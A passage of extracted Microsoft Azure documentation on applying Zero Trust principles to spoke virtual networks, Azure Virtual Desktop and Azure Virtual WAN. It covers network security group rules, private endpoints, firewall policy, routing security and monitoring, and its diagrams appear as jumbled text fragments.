For priority, use a value between 100 and 4000. You can start at 105.
This is in addition to the network security group rules on your Application Gateway Subnet.
With these rules, you have defined the Zero Trust connectivity pattern for a single application tier. You can repeat this
process as required for additional flows.

In addition to the application-specific traffic, plan for management traffic. However, because management traffic typically
originates outside of the spoke VNet, more rules are required. First, understand the specific ports and sources that
management traffic will be coming from. Typically, all management traffic should flow from a firewall or other network
virtual appliance (NVA) located in the hub network for the spoke.
See Apply Zero Trust principles to Azure IaaS overview for the full reference architecture.
Your configuration will vary based on your specific management needs. However, you should use rules on firewall
appliances and rules on the network security group to explicitly allow connections on both the platform networking and
workload networking sides.
Planning for deployments

Because your application services and databases are now using private networking, plan for how deployments of code and
data to these resources operate. Add rules to allow your private build servers to access these endpoints.

Even if your network security group is blocking unnecessary traffic it doesn't mean that your goals are met. To detect an
attack, you still need to observe the traffic that is occurring outside of your explicit patterns.
The traffic to the private endpoints is not logged, but if other services are deployed to the subnets later this log will help
detect the activities.
To enable network security group flow Logging, follow the Tutorial: Log network traffic flow to and from a virtual machine
for the existing network security group for the private endpoints.
７ Note
Keep these recommendations in mind:
You should restrict access to the logs as needed.
Logs should flow into Log Analytics and Microsoft Sentinel as needed.
Step 5: Secure ingress and egress for Azure PaaS services

This section contains two steps needed to secure ingress and egress for your PaaS Services:
Deploy private endpoints for ingress to your services.

Deploy VNet integration to allow your Application Service to talk to your VNet.
In addition, you should also consider your DNS configuration to allow for the resolution of names.
Deploy private endpoints for ingress

While many services allow you to create private endpoints from the resource-specific blade in the Azure portal, a more
consistent experience is to create a private endpoint from its own resource creation. To do so, resources should already be
deployed. Once deployed, you can create the private endpoint.
When deploying the private endpoints, configure them as follows:
Place them in the specific resource group that houses the parent resources to keep resources with a similar lifecycle
together and to provide central access.
Place them in the appropriate subnet in the VNet based on their role.
For the Azure Application Service, you can configure private endpoints both for its normal frontend and its SCM
endpoint, which is used for deployments and management.
Also, as part of this deployment, you should ensure that the service-specific firewall is set to deny inbound traffic. This will
deny any attempts at public ingress.
For the Azure SQL database, manage its server-level IP firewall rules. Ensure that Public network access is set to Disable from
the networking panel in the Azure portal.
For the Azure Application Service, adding the private endpoint sets its service level firewall to block inbound access by
default. For more information, see Using Private Endpoints for App Service apps.
Deploy VNet integration for egress

In addition to the private endpoints for ingress, enable VNet integration. Each App Service Plan can have VNet integration
enabled and doing so allocates a whole subnet for the App Service. For more information, see Integrate your app with an
Azure VNet.
To configure your App Service, see Enable VNet integration in Azure App Service. Ensure that you are placing it in your
subnet designated for egress.
DNS considerations
As part of using private endpoints, enable DNS resolution of the resources' FQDNs to their new private IP addresses. For the
instructions to implement this in a variety of ways, see Private Endpoint DNS configuration.
７ Note
DNS resolution needs to apply to all traffic. Resources in the same VNet won't be able to resolve unless they are using
the correct DNS zones.
Step 6: Secure access to the VNet and application

Securing access to the VNet and applications include:
Securing traffic within the Azure environment to the application

Using multi-factor authentication (MFA) and Conditional Access policies for user access to applications.
The following diagram shows both access modes across the reference architecture.
Internet Azure
WAF (Web App Firewall)

APP GW subnet Web tier ingress
User subnet
Bastion Subnet AppGw
(WAF)
Azure Firewall
Subnet Web
Admin private endpoint
Bastion To Firewall
Azure Firewall Web tier egress

App Services
Premium To Web App subnet
VNet Integra on
VPN GW Subnet
VPN GW Data tier subnet
Security (HUB) VNet Data

private endpoint
HTTPS Workload (SPOKE) VNet SQL Server
Azure Blob
Office location SMB 3.X (ENCRYPT)
Azure Files

Admin
Central office
Router Admin 
Secure traffic within Azure environment for the VNet and application
Much of the work of security traffic within the Azure environment is already complete. See Apply Zero Trust principles to
Azure storage to configure secure connections between storage resources and the VMs.
See Apply Zero Trust principles to a hub VNet in Azure to secure access from hub resources to the VNet.
Using MFA and Conditional Access policies for user access to

applications
The Apply Zero Trust principles to virtual machines article recommends how to protect access requests directly to VMs with
MFA and Conditional Access. These requests are most likely from administrators and developers. The next step is to secure
access to applications with MFA and Conditional Access. This applies to all users who access the application.
First, if the application isn't yet integrated with Microsoft Entra ID, see Application types for the Microsoft identity platform.
Next, add the application to the scope of your identity and device access policies.
When configuring MFA with Conditional Access and related policies, use the recommended policy set for Zero Trust as a
guide. This includes Starting point policies that don't require managing devices. Ideally, the devices accessing your VMs are
managed and you can implement the Enterprise level, which is recommended for Zero Trust. For more information, see
Common Zero Trust identity and device access policies.
Device Entra Conditional Intune device Intune app

level type Access policies policy policies

to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)
PCs include devices running the Windows or macOS platforms

Requires Microsoft 365 E5, Microsoft 365 E3 with the E5 
Identity add-on, Office 365 with EMS E5, or individual
Phones and tablets include devices running the iOS, iPadOS, or Android platforms Entra ID P2 licenses November 2023
Step 7: Enable advanced threat detection and protection

Your spoke VNet built on Azure may be protected by Microsoft Defender for Cloud as other resources from your IT business
environment running on Azure or on-premises may also be protected.
As mentioned in the other articles from this series, Defender for Cloud is a Cloud Security Posture Management (CSPM) and
Cloud Workload Protection (CWP) tool that offers security recommendations, alerts, and advanced features such as adaptive
network hardening to assist you as you progress in your cloud security journey.
This article does not describe Defender for Cloud in detail, but it is important to understand that Defender for Cloud works
based on Azure policies and logs ingested in a Log Analytics workspace. Once enabled on the subscriptions with your spoke
VNet and associated resources, you can see recommendations to improve their security posture. You can filter these
recommendations further by MITRE tactic, Resource Group, and others. Consider prioritizing to resolve recommendations
that have a greater impact on your organization's Secure Score. Here's an example.

There are Defender for Cloud plans that offer advanced workload protections that includes adaptive network hardening
recommendations to improve your existing network security group rules. Here's an example.
You can accept the recommendation by selecting Enforce, which will either create a new network security group rule or
modify an existing one.
Secure your Azure resources with Azure role-based access control (Azure RBAC)
Configure and manage Azure Monitor
Configure network security groups
Design and implement private access to Azure Services
Next Steps
For Azure IaaS:

Overview
Azure storage
Virtual machines
Azure Virtual WAN
References
Embrace proactive security with Zero Trust
Zero-trust network for web applications with Azure Firewall and Application Gateway
Azure Landing Zone Policies
Common Zero Trust identity and device across policies
What is a private endpoint?
Private endpoint DNS configuration
Integrate your app with an Azure VNet
Using private endpoints for App Service apps
Connect to an Azure SQL server using an Azure private endpoint
Feedback
Apply Zero Trust principles to an Azure
Virtual Desktop deployment
Article • 04/12/2024
This article provides steps to apply the principles of Zero Trust to an Azure Virtual
Desktop deployment in the following ways:
ﾉ Expand table

principle
Verify Always authenticate and Verify the identities and endpoints of Azure
explicitly authorize based on all available Virtual Desktop users and secure access to
data points. session hosts.
Use least Limit user access with Just-In- Confine access to session hosts and their
privileged Time and Just-Enough-Access data.
access (JIT/JEA), risk-based adaptive Storage: Protect data in all three modes:
policies, and data protection. data at rest, data in transit, data in use.
Virtual networks (VNets): Specify allowed
network traffic flows between hub and
spoke VNets with Azure Firewall.
Virtual machines: Use Role Based Access
Control (RBAC).
Assume Minimize blast radius and Isolate the components of an Azure

breach segment access. Verify end-to- Virtual Desktop deployment.
end encryption and use analytics Storage: Use Defender for Storage for
to get visibility, drive threat automated threat detection and
detection, and improve defenses. protection.
VNets: Prevent traffic flows between
workloads with Azure Firewall.
Virtual machines: Use double encryption
for end-to-end encryption, enable
encryption at host, secure maintenance
for virtual machines, and Microsoft
Defender for Servers for threat
detection.
Azure Virtual Desktop: Use Azure Virtual
Desktop security, governance,
management, and monitoring features
to improve defenses and collect session
host analytics.
For more information about how to apply the principles of Zero Trust across an Azure
IaaS environment, see the Apply Zero Trust principles to Azure IaaS overview.
In this article, we use the following reference architecture for Hub and Spoke to
demonstrate a commonly deployed environment and how to apply the principles of
Zero Trust for Azure Virtual Desktop with users’ access over the Internet. Azure Virtual
WAN architecture is also supported in addition to private access over a managed
network with RDP Shortpath for Azure Virtual Desktop.
Internet Azure
Azure Virtual Desktop Control Plane Azure Virtual Desktop Management Plane
User Workspace
Private Endpoint
Entra ID MDC RBAC Azure · Web access
Monitor
· Gateway Personal Pooled Pool AVD Scaling
F Pool Applica on Applica on
Plan
· Broker Group Group Start VM on
Start VM on Connect
· Diagnostics
Connect
Endpoints
Schedules
Host Pool Host Pool

AVD RDP AVD RDP
Connectivity (HUB) VNET D Property Private Endpoint Private Endpoint
Property E
B
Bastion Subnet
Azure Firewall
Subnet Azure Virtual Desktop (SPOKE) VNET Azure Virtual Desktop (SPOKE) VNET
Bastion
Session host virtual machines (Personal) C Session host virtual machines (Pooled) C Key Vault
Keys
Azure Firewall
Premium
AVD Shared Services
DNS
VPN GW Subnet Zone
Custom Custom NSG NSG
DNS DNS Azure Compute Key Vault
Server 1 Server 2
Gallery Secrets
VPN GW
DDoS
Protec on VM Image
Definition
File Share File Share
Office location
Image Template
Private Endpoint Private Endpoint
G Azure Storage Azure Storage
(file) (file)
A A
Azure Storage Services Azure Storage Services
Admin
On-premises datacenter

Router Admin Entra ID AD DS
Connect
The Azure environment for Azure Virtual Desktop includes:
ﾉ Expand table
Component Description
A Azure Storage Services for Azure Virtual Desktop user profiles.
B A connectivity hub VNet.
C A spoke VNet with Azure Virtual Desktop session host virtual machine-based
workloads.
D An Azure Virtual Desktop Control Plane.
E An Azure Virtual Desktop Management Plane.
F Dependent PaaS services including Microsoft Entra ID, Microsoft Defender for
Cloud, role-based access control (RBAC), and Azure Monitor.
Component Description
G Azure Compute Gallery.
Users or admins that access the Azure environment can originate from the internet,
office locations, or on-premises datacenters.
The reference architecture aligns to the architecture described in the Enterprise-scale

landing zone for Azure Virtual Desktop Cloud Adoption Framework.
In this diagram, the Azure infrastructure for an Azure Virtual Desktop deployment is
contained within an Entra ID tenant.
Entra ID tenant
RBAC and Azure policies

Management group
Azure Virtual Desktop subscription Azure connectivity subscription

Azure Virtual Desktop Insights and Log Analytics Workspace
Resource group: Resource group: Resource group: Resource group: Resource group: Resource group:
Azure Virtual Desktop Storage account Session host Spoke Virtual Network Azure Compute Hub Virtual Network
Azure Files service virtual machines (Azure Virtual Gallery
Desktop)
Key Vault - PE VPN GW
Key Vault Disk

NSG -PE Bastion
Encryption Set
AVD - PE Azure Files - PE ASG - avd NSG -AVD Azure Firewall

Image
AVD Virtual
Service objects Data Sets VNet RBAC VNet
machines
The elements of the logical architecture are:
Azure subscription for your Azure Virtual Desktop
You can distribute the resources in more than one subscription, where each
subscription may hold different roles, such as network subscription, or security
subscription. This is described in Cloud Adoption Framework and Azure Landing
Zone. The different subscriptions may also hold different environments, such as
production, development, and tests environments. It depends on how you want to
separate your environment and the number of resources you have in each. One or
more subscriptions can be managed together using a Management Group. This
gives you the ability to apply permissions with RBAC and Azure policies to a group
of subscriptions instead of setting up each subscription individually.
Azure Virtual Desktop resource group

An Azure Virtual Desktop resource group isolates Key Vaults, Azure Virtual Desktop
service objects and private endpoints.
Storage resource group
A storage resource group isolates Azure Files service private endpoints and data
sets.
Session host virtual machines resource group
A dedicated resource group isolates the virtual machines for their session hosts
Virtual Machines, Disk Encryption Set and an Application Security Group.
Spoke VNet resource group
A dedicated resource group isolates the spoke VNet resources and a Network
Security Group, which networking specialists in your organization can manage.
What’s in this article?

This article walks through the steps to apply the principles of Zero Trust across the Azure
Virtual Desktop reference architecture.
ﾉ Expand table

applied
1 Secure your identities with Zero Trust. Verify explicitly
2 Secure your endpoints with Zero Trust. Verify explicitly
3 Apply Zero Trust principles to Azure Virtual Desktop storage Verify explicitly
resources. Use least privileged access
Assume breach
4 Apply Zero Trust principles to hub and spoke Azure Virtual Verify explicitly
Desktop VNets. Use least privileged access
Assume breach
5 Apply Zero Trust principles to Azure Virtual Desktop session Verify explicitly
host. Use least privileged access
Assume breach
6 Deploy security, governance, and compliance to Azure Assume breach

Virtual Desktop.
applied
7 Deploy secure management and monitoring to Azure Virtual Assume breach

Desktop.
Step 1: Secure your identities with Zero Trust

To apply Zero Trust principles to the identities used in Azure Virtual Desktop:
Azure Virtual Desktop supports different types of identities. Use the information in
Securing identity with Zero Trust to ensure that your chosen identity types adhere
to Zero Trust principles.
Create a dedicated user account with least privileges to join session hosts to a
Microsoft Entra Domain Services or AD DS domain during session host
deployment.
Step 2: Secure your endpoints with Zero Trust

Endpoints are the devices through which users access the Azure Virtual Desktop
environment and session host virtual machines. Use the instructions in the Endpoint
integration overview and use Microsoft Defender for Endpoint and Microsoft Endpoint
Manager to ensure that your endpoints adhere to your security and compliance
requirements.
Step 3: Apply Zero Trust principles to Azure

Virtual Desktop storage resources
Implement the steps in Apply Zero Trust principles to Storage in Azure for the storage
resources being used in your Azure Virtual Desktop deployment. These steps ensure
that you:
Secure your Azure Virtual Desktop data at rest, in transit, and in use.
Verify users and control access to storage data with the least privileges.
Implement private endpoints for storage accounts.
Logically separate critical data with network controls. Such as separate storage
accounts for different host pools and other purposes such as with MSIX app attach
file shares.
Use Defender for Storage for automated threat protection.
７ Note
In some designs, Azure NetApp files is the storage service of choice for FSLogix
profiles for Azure Virtual Desktop via an SMB share. Azure NetApp Files provides
built-in security features that include delegated subnets and security benchmarks.
Step 4: Apply Zero Trust principles to hub and

spoke Azure Virtual Desktop VNets
A hub VNet is a central point of connectivity for multiple spoke virtual networks.
Implement the steps in Apply Zero Trust principles to a hub virtual network in Azure for
the hub VNet being used to filter outbound traffic from your session hosts.
A spoke VNet isolates the Azure Virtual Desktop workload and contains the session host
virtual machines. Implement the steps in Apply Zero Trust principles to spoke virtual
network in Azure for the spoke VNet that contains the session host/virtual machines.
Isolate different host pools on separate VNets using NSG with the required URL
necessary for Azure Virtual Desktop for each subnet. When deploying the private
endpoints place them in the appropriate subnet in the VNet based on their role.
Azure Firewall or a network virtual appliance (NVA) firewall can be used to control and
restrict outbound traffic Azure Virtual Desktop session hosts. Use the instructions here
for Azure Firewall to protect session hosts. Force the traffic through the firewall with
User-Defined Routes (UDRs) linked to the host pool subnet. Review the full list of
required Azure Virtual Desktop URLs to configure your firewall. Azure Firewall provides
an Azure Virtual Desktop FQDN Tag to simplify this configuration.
Step 5: Apply Zero Trust principles to Azure

Virtual Desktop session hosts
Session hosts are virtual machines that run inside a spoke VNet. Implement the steps in
Apply Zero Trust principles to virtual machines in Azure for the virtual machines being
created for your session hosts.
Host pools should have separated organizational units (OUs) if managed by group
policies on Active Directory Domain Services (AD DS).
Microsoft Defender for Endpoint is an enterprise endpoint security platform designed to

help enterprise networks prevent, detect, investigate, and respond to advanced threats.
You can use Microsoft Defender for Endpoint for session hosts. for more information,
see virtual desktop infrastructure (VDI) devices.
Step 6: Deploy security, governance, and

compliance to Azure Virtual Desktop
Azure Virtual Desktop service allow you to use Azure Private Link to privately connect to
your resources by creating private endpoints.
Azure Virtual Desktop has built-in advanced security features to protect session hosts.
However, see the following articles to improve the security defenses of your Azure
Virtual Desktop environment and session hosts:
Azure Virtual Desktop security best practices

Azure security baseline for Azure Virtual Desktop
In addition, see the key design considerations and recommendations for security,
governance, and compliance in Azure Virtual Desktop landing zones in accordance with
Microsoft's Cloud Adoption Framework.
Step 7: Deploy secure management and

monitoring to Azure Virtual Desktop
Management and continuous monitoring are important to ensure that your Azure
Virtual Desktop environment is not engaging in malicious behavior. Use Azure Virtual
Desktop Insights to log data and report diagnostic and usage data.
See these additional articles:
Review recommendations from Azure Advisor for Azure Virtual Desktop.

Use Microsoft Intune for granular policy management or group policy
management.
Review and set RDP Properties for granular settings on a host pool level.
Secure an Azure Virtual Desktop deployment
ﾉ Expand table
Training Secure an Azure Virtual Desktop deployment
Learn about the Microsoft security capabilities that help keep your applications
and data secure in your Microsoft Azure Virtual Desktop deployment.
Start >
Protect your Azure Virtual Desktop deployment by using

Azure
ﾉ Expand table
Training Protect your Azure Virtual Desktop deployment by using Azure
Deploy Azure Firewall, route all network traffic through Azure Firewall, and
configure rules. Route the outbound network traffic from the Azure Virtual Desktop
host pool to the service through Azure Firewall.
Start >
Manage access and security for Azure Virtual Desktop
ﾉ Expand table
Training Manage access and security for Azure Virtual Desktop
Learn how to plan and implement Azure roles for Azure Virtual Desktop and
implement Conditional Access policies for remote connections. This learning
path aligns with exam AZ-140: Configuring and Operating Microsoft Azure
Virtual Desktop.
Start >
Design for user identities and profiles
ﾉ Expand table
Training Design for user identities and profiles
Your users require access to those applications both on-premises and in the cloud.
You use the Remote Desktop client for Windows Desktop to access Windows apps
and desktops remotely from a different Windows device.
Start >
Security in Azure
Next Steps
Azure IaaS overview

Azure storage
Virtual machines
Azure Virtual WAN
You can download the illustrations used in this article. Use the Visio file to modify these
illustrations for your own use.
PDF | Visio
References
in this article.

Azure Infrastructure as a Service (IaaS)
Virtual Machines (VMs) for Linux and Windows
Introduction to Azure Storage - Cloud storage on Azure
Azure Virtual Network
Building the first layer of defense with Azure security services - Azure Architecture
Center
Microsoft Cybersecurity Reference Architectures - Security documentation
Feedback
Apply Zero Trust principles to an Azure
Virtual WAN deployment
Article • 04/12/2024
With the modern cloud, mobile devices, and other endpoints evolution, relying only on
corporate firewalls and perimeter networks is no longer sufficient. An end-to-end Zero
Trust strategy assumes that security breaches are inevitable. That means you must verify
each request as if it originates from an uncontrolled network. Networking still plays an
important role in Zero Trust to connect and protect infrastructure, applications, and
data. In the Zero Trust model, there are three key objectives when it comes to securing
your networks:
Be ready to handle attacks before they happen.

Minimize the extent of the damage and how fast it spreads.
Increase the difficulty of compromising your cloud footprint.
Azure Virtual WAN allows a global transit network architecture by enabling ubiquitous,
any-to-any connectivity between globally distributed sets of cloud workloads in virtual
networks (VNets), branch sites, SaaS and PaaS applications, and users. Adopting a Zero
Trust approach in Azure Virtual WAN is critical to ensure that your backbone is secure
and protected.
This article provides steps to apply the principles of Zero Trust to an Azure Virtual WAN
deployment in the following ways:
ﾉ Expand table

principle
Verify Always authenticate Use Azure Firewall with Transport Layer Security (TLS)
explicitly and authorize based inspection to verify risk and threats based on all available
on all available data data. Conditional Access controls are intended to provide
points. authentication and authorization by diverse data points
and the Azure Firewall doesn't perform user
authentication.
Use least Limit user access with User access is beyond the scope of Azure network
privileged Just-In-Time and Just- infrastructure deployments. Using Identity pillar solutions
access Enough-Access like Privileged Access Management, Conditional Access,
(JIT/JEA), risk-based and other controls are the way to deliver on this principle.
adaptive policies, and
data protection.
principle
Assume Minimize blast radius Each spoke VNet has no access to other spoke VNets
breach and segment access. unless the traffic gets routed through the firewall
Verify end-to-end integrated inside each Azure Virtual WAN hub. The firewall
encryption and use is set to deny by default, allowing only traffic allowed by
analytics to get specified rules. In the event of a compromise or breach of
visibility, drive threat one application/workload, it has limited ability to spread
detection, and due to the Azure Firewall performing traffic inspection and
improve defenses. only forwarding allowed traffic. Only resources in the same
workload are exposed to the breach in the same
application.
IaaS environment, see the Apply Zero Trust principles to Azure infrastructure overview.
For an industry discussion of Zero Trust, see NIST Special Publication 800-207 .
Azure Virtual WAN

Azure Virtual WAN is a networking service that brings many networking, security, and
routing functionalities together to provide a single operational interface. Some of the
main features include:
Advanced routing features

Security "bump-in-the-wire" integration through Azure Firewall or supported
Network Virtual Appliances (NVAs) in the hub
Encrypted ExpressRoute
A Zero Trust approach for Azure Virtual WAN requires configuration of several
underlying services and components from the Zero Trust principle table previously
listed. Here's a list of steps and actions:
Deploy Azure Firewall or supported Next Generation Firewall (NGFW) NVAs inside
each Virtual WAN hub.
Configure inter-VNet and on-premises branch routing to create a Zero Trust
environment by sending all traffic to security appliances in the hubs for inspection.
Configure the routing to provide filtering and protection for known threats.
Ensure that no resources in the spokes have direct access to the Internet.
Provide application micro-segmentation in spoke networks, along with an
ingress/egress micro-perimeters strategy.
Provide observability for network security events.
The following diagram shows a common reference architecture that demonstrates a
commonly deployed environment and how to apply the principles of Zero Trust to Azure
Virtual WAN.
Azure
Azure Firewall
Admin Manager
WAF Policy
DDoS Private DNS Zone NVA
DNS Private
Firewall Resolver
Policy
WAF Applica on UDR

UDR
Gateway
VM
Private endpoint VNet
VM VNet Domain Domain
VM Bas on controller controller
VNet
VNet - Shared Services
vWAN hub DNS

vWAN hub Proxy
DNS
Hub-to-Hub Connectivity
Proxy
VPN P2S user VPN Branch 1 VPN Branch 2 ExpressRoute VPN Branch 3 VPN Branch 4 ExpressRoute VPN P2S user

Circuit 1 Circuit 2
Azure Virtual WAN is deployable in Basic and Standard types. Applying Zero Trust
principles for Azure Virtual WAN with Azure Firewall or an NGFW requires the Standard
type.
The Azure Virtual WAN with secured hubs reference architecture includes:
A single logical Virtual WAN.

Two secured virtual hubs, one per region.
An instance of Azure Firewall Premium deployed in each hub.
At least one Azure Firewall Premium policy.
Point-to-site (P2S) and site-to-site (S2S) VPN and ExpressRoute gateways.
P2S, S2S, and ExpressRoute-connected branches.
A shared services VNet containing core infrastructure resources that can't be
deployed into a Virtual WAN hub, such as custom DNS VMs or Azure DNS Private
Resolver, Active Directory Domain Services [AD DS] domain controllers, Azure
Bastion, and other shared resources.
Workload VNets with Azure Application Gateway, Azure web application firewall
(WAF), and Private Endpoints if needed.
Azure Virtual WAN supports the integration of a limited set of third party firewalls inside
its hubs as an alternative to native Azure Firewall. This article only describes Azure
Firewall. What is included in the VNet-Shared Services spoke in the reference
architecture is just an example of what you could deploy. Microsoft manages Azure
Virtual WAN hubs and you can't install anything else within them except what Azure
Firewall and supported NVAs explicitly allow.
This reference architecture aligns to the architectural principles described in the Cloud
Adoption Framework article for Virtual WAN network topology.
Routing Security
Securing route propagation and isolation of on-premises environment is a critical
security element that must be managed.
Other than traffic segmentation, routing security is a critical part of any network security
design. Routing protocols are an integral part of most networks, including Azure. You
need to protect your infrastructure from the inherent risks to routing protocols such as
misconfigurations or malicious attacks. The BGP protocol used for VPN or ExpressRoute
offers very rich possibilities of protecting your network against undesired routing
changes, which might include the advertisement of too specific routes or too broad
routes.
The best way protect your network is configure your on-premises devices with
appropriate route policies and route maps to make sure that only allowed prefixes are
propagated into your network from Azure. For example, you can:
Block inbound prefixes that are too generic.
If due to a misconfiguration Azure starts sending generic prefixes such as 0.0.0.0/0

or 10.0.0.0/8, it could be attracting traffic that might otherwise stay in your on-
premises network.
Block inbound prefixes that are too specific.
Under certain circumstances you could get some long IPv4 prefixes from Azure
(network prefix length 30 to 32), which are typically included in other less specific
prefixes and therefore not required. Dropping these prefixes prevents your on-
premises routing tables from growing unnecessarily large.
Block inbound prefixes that aren't in Azure unless you're using Azure as a transit
network.
If you aren't using Azure to transport traffic between your on-premises locations
(for example, with technologies such as ExpressRoute Global Reach), an on-
premises prefix being advertised from Azure would indicate a routing loop. Only
taking Azure prefixes in your on-premises routers would protect you from these
types of routing loops.
Block outbound prefixes that aren't on-premises.
If you aren't using your on-premises network for transit between Azure regions,
you shouldn’t be advertising to Azure any prefix that you don’t use on-premises. If
you don’t, you run into the risk of creating routing loops, especially given the fact
that eBGP implementations in most routers re-advertise all prefixes on non-
preferred links. This has the effect of sending Azure prefixes back to Azure unless
you have configured eBGP multi-path.
Azure Virtual WAN is a collection of hubs and services made available inside a hub. You
can deploy as many Virtual WANs as you need. In a Virtual WAN hub, there are multiple
services such as VPN, ExpressRoute, Azure Firewall, or a third party integrated NVA.
The following diagram shows the logical architecture of Azure infrastructure for an
Azure Virtual WAN deployment as depicted in the Cloud Adoption Framework.
Connec vity Landing zone
subscrip ons subscrip ons
Azure
DDoS VWAN Hub Virtual
DNS UDR(s) NSG/ASG(s)
Standard
Region 1
VNet peering network
· Azure Firewall Resource group(s)

Azure DNS
· ExpressRoute Applica on
Azure
· VPN (P25/S2S) Key Vault Applica on
· Virtual WAN
File Share Applica on
Recovery...
Role Policy Network Defender
assignment assignment Watcher for Cloud Dashboards Recovery Services Shared
(Azure portal) vault(s) services
Role Policy Network Defender

assignment assignment Watcher for Cloud
VM SKU(s)
· Access creden als
· In-guest policies/DSC
· Backup policy
· Extensions
Compliant
VM templates
· Tagging 
The majority of resources are contained inside the connectivity subscription. You deploy
all Virtual WAN resources into a single resource group in the connectivity subscription,
including when you're deploying across multiple regions. Azure VNet spokes are in the
landing zone subscriptions. If you use inheritance and hierarchy Azure Firewall policy,
the parent policy and the child policy must be located in the same region. You can still
apply a policy that you created in one region on a secured hub from another region.
What’s in this article?

This article walks through the steps to apply the principles of Zero Trust across the Azure
Virtual WAN reference architecture.
ﾉ Expand table
1 Create Azure Firewall policy. Verify explicitly

Assume breach
2 Convert your Azure Virtual WAN hubs to secured hubs. Verify explicitly
Assume breach
3 Secure your traffic. Verify explicitly

Assume breach
4 Secure your spoke VNets. Assume breach

5 Review your use of encryption. Assume breach
6 Secure your P2S users. Assume breach
7 Configure monitoring, auditing, and management. Assume breach
You must do Steps 1 and 2 in order. The other steps can be done in any order.
Step 1: Create Azure Firewall policy

For standalone Azure Firewall deployments in a classic hub and spoke architecture, at
least one Azure policy must be created in Azure Firewall Manager and associated to the
Azure Virtual WAN hubs. This policy must be created and made available before the
conversion of any hub. Once the policy is defined, it's applied to Azure Firewall instances
in Step 2.
Azure Firewall policies can be arranged in a parent-child hierarchy. For either a classic
hub and spoke scenario or a managed Azure Virtual WAN, you should define a root
policy with a common set of IT-wide security rules to allow or deny traffic. Then, for each
hub, a child policy could be defined to implement hub-specific rules through
inheritance. This step is optional. If rules that must be applied to each hub are identical,
a single policy can be applied.
For Zero Trust, a Premium Azure Firewall policy is required and should include the
following settings:
DNS Proxy – You should configure Azure Firewall as a custom DNS server for spoke
VNets that protect the real DNS that resides in a shared service spoke or on-
premises. Azure firewalls act as a DNS Proxy, listen on UDP port 53, and forward
DNS requests to the DNS servers specified in the policy settings. For every spoke,
you must configure a DNS server at the virtual network level pointing to the
internal IP address of the Azure Firewall in the Virtual WAN Hub. You shouldn't
grant network access from spokes and branches to the custom DNS.
TLS inspection should be enabled for these scenarios:
Outbound TLS Inspection to protect against malicious traffic that is sent from
an internal client hosted in Azure to the Internet.
East-West TLS Inspection to include traffic that goes to or from on-premises

branches and between Virtual WAN spokes, which protects your Azure
workloads from potential malicious traffic sent from within Azure.
Intrusion detection and prevention system (IDPS) should be enabled in "Alert and
Deny" mode.
Threat Intelligence should be enabled in "Alert and Deny" mode.
As part of the policy creation, you must create the necessary Destination Network
Address Translation (DNAT) rules, network rules, and application rules to enable only the
network flows for explicitly permitted traffic. To enable TLS inspection for selected
targets, the corresponding application rule must have "TLS inspection" setting enabled.
When creating rules in Rules Collections, you should use the most restrictive
"Destination" and "Destination Type".
Step 2: Convert your Azure Virtual WAN hubs

to secured hubs
At the core of Zero Trust approach for Azure Virtual WAN is the concept of Secured
Virtual WAN hub (secure hub). A secure hub is an Azure Virtual WAN hub with an
integrated Azure Firewall. Usage of supported security appliances from third parties is
supported as an alternative to Azure Firewall but isn't described in this article. You can
use these virtual appliances to inspect all North-South, East-West, and Internet-bound
traffic.
We recommend Azure Firewall Premium for Zero Trust and that you configure it with the
Premium Policy described in Step 1.
７ Note
Usage of DDoS Protection is not supported with a secure hub.
For more information, see Install Azure Firewall in a Virtual WAN hub.
Step 3: Secure your traffic

Once you've upgraded all your Azure Virtual WAN hubs to secure hubs, you must
configure Routing Intent and Policies for Zero Trust principles. This configuration
enables the Azure Firewall in each hub to attract and inspect traffic between spokes and
branches in the same hub and across remote hubs. You should configure your policies
to send both "Internet traffic" and "Private traffic" through the Azure Firewall or your
third party NVA). The "Inter-hub" option must be also enabled. Here's an example.

When the "Private Traffic" routing policy is enabled, VNet traffic in and out of the Virtual
WAN Hub, including inter-hub traffic, is forwarded to the next-hop Azure Firewall or
NVA that was specified in the policy. Users with Role-Based Access Control (RBAC)
privileges could override Virtual WAN route programming for spoke VNets and
associate a custom User Defined Route (UDR) to bypass the hub firewall. To prevent this
vulnerability, RBAC permissions to assign UDRs to spoke VNet subnets should be
restricted to central network administrators and not delegated to the landing zone
owners of the spoke VNets. To associate a UDR with a VNet or subnet, a user must have
the Network Contributor role or a custom role with the
"Microsoft.Network/routeTables/join/action" action or permission.
７ Note
In this article, Azure Firewall is primarily considered for both Internet traffic and
private traffic control. For Internet traffic, a third party, supported security NVA can
be used or a third party Security as a Service (SECaaS) provider. For private traffic,
third party supported security NVAs can be used as an alternative to Azure Firewall.
７ Note
Custom Route Tables in Azure Virtual WAN can't be used in conjunction with
Routing Intent and Policies and should not be considered as a security option.
Step 4: Secure your spoke VNets

Each Azure Virtual WAN hub can have one or more VNets connected with VNet peering.
Based on the landing zone model in the Cloud Adoption Framework, every VNet
contains a landing zone workload, applications, and services supporting an organization.
Azure Virtual WAN manages the connection, the route propagation and association, and
the outbound and inbound routing, but can't affect intra-VNet security. Zero Trust
principles must be applied inside each spoke VNet according to the guidance published
in Apply Zero Trust principles to a spoke virtual network and other articles depending on
the resource type, such as virtual machines and storage. Consider the following
elements:
Micro-segmentation: Even if Azure Virtual WAN attracts and filters outbound

traffic, use of network security groups (NSGs) and application security groups
(ASGs) to regulate intra-VNet flows is still recommended.
Local DMZ: A DNAT rule created in the central firewall inside the Azure Virtual
WAN Hub should filter and allow inbound non-http or https traffic. Inbound http
or https traffic should be managed by a local Azure Application Gateway and
associated Web Application Firewall.
Although Azure Virtual WAN secure virtual hubs don't support Azure DDoS
Protection yet, usage of DDoS to protect Internet-facing endpoints in spoke VNets
is possible and highly recommended. For more information, see Azure Firewall
Manager known issues and Hub virtual network and secured virtual hub
comparison.
Advanced threat detection and protection: See Apply Zero Trust principles to a
spoke virtual network. The elements inside the spoke must be protected with
threat protection tools like Microsoft Defender for Cloud.
Because the hub in Azure Virtual WAN is locked and managed by Azure, custom
components can't be installed or enabled there. Some resources that are normally
deployed inside the hub, in a classic hub and spoke model, must be placed in one or
more spokes that acts as shared resource networks. For example:
Azure Bastion: Azure Bastion supports Azure Virtual WAN but must be deployed
inside a spoke virtual network because the hub is restricted and managed by
Azure. From the Azure Bastion spoke, users can reach resources in other VNets, but
requires IP-based connection available with the Azure Bastion Standard SKU.
Custom DNS servers: DNS server software can be installed on any virtual machine
and act as DNS server for all the spokes in Azure Virtual WAN. The DNS server
must be installed in a spoke VNet that serves all other spokes directly, or through
